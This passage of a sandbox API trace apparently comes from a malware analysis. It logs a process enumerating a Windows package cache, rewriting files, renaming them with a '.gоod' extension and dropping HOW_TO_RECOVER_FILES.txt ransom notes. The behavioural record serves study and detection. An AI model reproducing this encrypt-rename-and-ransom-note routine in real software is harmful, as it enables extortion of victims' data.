ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.211] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0104.211] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0104.212] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.212] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0104.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0104.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0104.212] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x43 [0104.212] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.212] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.212] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0104.213] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0104.213] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0104.213] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0104.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0104.213] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0104.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0104.213] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x33ea000 | out: lpFileInformation=0x33ea000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee)) returned 1 [0104.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0104.214] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0104.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0104.214] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0104.214] GetFileType (hFile=0x6e4) returned 0x1 [0104.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0104.214] GetFileType (hFile=0x6e4) returned 0x1 [0104.214] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x2ee [0104.214] ReadFile (in: hFile=0x6e4, lpBuffer=0x33ea5a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x33ea5a8*, lpNumberOfBytesRead=0x1f59dd38*=0x2ee, lpOverlapped=0x0) returned 1 [0104.471] CloseHandle (hObject=0x6e4) returned 1 [0104.533] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0104.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0104.533] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0104.534] GetFileType (hFile=0x6e4) returned 0x1 [0104.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0104.534] GetFileType (hFile=0x6e4) returned 0x1 [0104.534] WriteFile (in: hFile=0x6e4, lpBuffer=0x34be780*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x34be780*, lpNumberOfBytesWritten=0x1f59dc48*=0x2f0, lpOverlapped=0x0) returned 1 [0104.535] CloseHandle (hObject=0x6e4) returned 1 [0104.535] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0104.535] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.gоod", lpFilePart=0x0) returned 0x52 [0104.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0104.535] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3a857fa3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0104.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0104.536] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.gоod" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.gоod")) returned 1 [0104.536] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpFilePart=0x0) returned 0x55 [0104.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0104.536] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x34bfa40 | out: lpFileInformation=0x34bfa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30)) returned 1 [0104.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0104.537] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpFilePart=0x0) returned 0x55 [0104.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0104.537] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0104.537] GetFileType (hFile=0x6e4) returned 0x1 [0104.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0104.537] GetFileType (hFile=0x6e4) returned 0x1 [0104.537] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0104.537] ReadFile (in: hFile=0x6e4, lpBuffer=0x34bfea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x34bfea8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0104.773] CloseHandle (hObject=0x6e4) returned 1 [0104.773] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpFilePart=0x0) returned 0x55 [0104.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0104.773] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0104.773] GetFileType (hFile=0x6e4) returned 0x1 [0104.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0104.773] GetFileType (hFile=0x6e4) returned 0x1 [0104.774] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0xbee30 [0104.774] WriteFile (in: hFile=0x6e4, lpBuffer=0x3312330*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3312330*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0104.850] CloseHandle (hObject=0x6e4) returned 1 [0104.850] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpFilePart=0x0) returned 0x55 [0104.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0104.850] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0104.850] GetFileType (hFile=0x6e4) returned 0x1 [0104.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0104.851] GetFileType (hFile=0x6e4) returned 0x1 [0104.851] ReadFile (in: hFile=0x6e4, lpBuffer=0x33ba438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x33ba438*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0105.084] CloseHandle (hObject=0x6e4) returned 1 [0105.084] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpFilePart=0x0) returned 0x55 [0105.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0105.084] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.085] GetFileType (hFile=0x6e4) returned 0x1 [0105.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0105.085] GetFileType (hFile=0x6e4) returned 0x1 [0105.085] WriteFile (in: hFile=0x6e4, lpBuffer=0x32ea020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x32ea020*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0105.085] CloseHandle (hObject=0x6e4) returned 1 [0105.085] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpFilePart=0x0) returned 0x55 [0105.085] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.gоod", lpFilePart=0x0) returned 0x5a [0105.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0105.085] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee40)) returned 1 [0105.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0105.085] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.gоod" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.gоod")) returned 1 [0105.086] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0105.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0105.086] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0105.088] GetFileType (hFile=0x6e4) returned 0x1 [0105.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0105.088] GetFileType (hFile=0x6e4) returned 0x1 [0105.089] WriteFile (in: hFile=0x6e4, lpBuffer=0x34752e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x34752e8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0105.090] CloseHandle (hObject=0x6e4) returned 1 [0105.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0105.090] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x4e [0105.090] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.090] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.091] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0105.091] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0105.091] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0105.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0105.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0105.091] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x4e [0105.091] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, 